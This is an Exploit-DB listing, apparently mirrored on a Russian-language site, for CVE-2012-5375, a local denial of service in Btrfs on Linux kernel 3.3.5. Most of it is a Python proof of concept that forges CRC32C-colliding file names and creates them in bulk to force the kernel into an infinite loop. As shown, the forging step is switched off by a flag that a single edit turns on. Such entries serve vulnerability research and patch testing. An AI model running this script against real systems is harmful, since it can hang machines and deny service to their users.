Exploit Linux Kernel 3.3.5 - Btrfs CRC32C feature Infinite Loop Local Denial of Service

[Exploiter]

EDB-ID

38132

Проверка EDB

1. Пройдено

Автор

PASCAL JUNOD

Тип уязвимости

DOS

Платформа

LINUX

CVE

cve-2012-5375

Дата публикации

2012-12-13

Linux Kernel 3.3.5 - Btrfs CRC32C feature Infinite Loop Local Denial of Service

source: https://www.securityfocus.com/bid/56939/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition. 

#!/usr/bin/env python

## Borrows code from
"""Calculate and manipulate CRC32.
http://en.wikipedia.org/wiki/Cyclic_redundancy_check
-- StalkR
"""
## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py

import struct
import sys
import os

# Polynoms in reversed notation
POLYNOMS = {
  'CRC-32-IEEE': 0xedb88320, # 802.3
  'CRC-32C': 0x82F63B78, # Castagnoli
  'CRC-32K': 0xEB31D82E, # Koopman
  'CRC-32Q': 0xD5828281,
}

class CRC32(object):
  """A class to calculate and manipulate CRC32.
Use one instance per type of polynom you want to use.
Use calc() to calculate a crc32.
Use forge() to forge crc32 by adding 4 bytes anywhere.
"""
  def __init__(self, type="CRC-32C"):
    if type not in POLYNOMS:
      raise Error("Unknown polynom. %s" % type)
    self.polynom = POLYNOMS[type]
    self.table, self.reverse = [0]*256, [0]*256
    self._build_tables()

  def _build_tables(self):
    for i in range(256):
      fwd = i
      rev = i << 24
      for j in range(8, 0, -1):
        # build normal table
        if (fwd & 1) == 1:
          fwd = (fwd >> 1) ^ self.polynom
        else:
          fwd >>= 1
        self.table[i] = fwd & 0xffffffff
        # build reverse table =)
        if rev & 0x80000000 == 0x80000000:
          rev = ((rev ^ self.polynom) << 1) | 1
        else:
          rev <<= 1
        rev &= 0xffffffff
        self.reverse[i] = rev

  def calc(self, s):
    """Calculate crc32 of a string.
       Same crc32 as in (binascii.crc32)&0xffffffff.
    """
    crc = 0xffffffff
    for c in s:
      crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff]
    return crc^0xffffffff

  def forge(self, wanted_crc, s, pos=None):
    """Forge crc32 of a string by adding 4 bytes at position pos."""
    if pos is None:
      pos = len(s)

    # forward calculation of CRC up to pos, sets current forward CRC state
    fwd_crc = 0xffffffff
    for c in s[:pos]:
      fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff]

    # backward calculation of CRC up to pos, sets wanted backward CRC state
    bkd_crc = wanted_crc^0xffffffff
    for c in s[pos:][::-1]:
      bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)

    # deduce the 4 bytes we need to insert
    for c in struct.pack('<L',fwd_crc)[::-1]:
      bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)

    res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:]
    return res

if __name__=='__main__':

    hack = False
    ITERATIONS = 10
    crc = CRC32()
    wanted_crc = 0x00000000
    for i in range (ITERATIONS):
      for j in range(55):
        str = os.urandom (16).encode ("hex").strip ("\x00")
        if hack:
            f = crc.forge(wanted_crc, str, 4)
            if ("/" not in f) and ("\x00" not in f):
                file (f, 'a').close()
        else:
            file (str, 'a').close ()

      wanted_crc += 1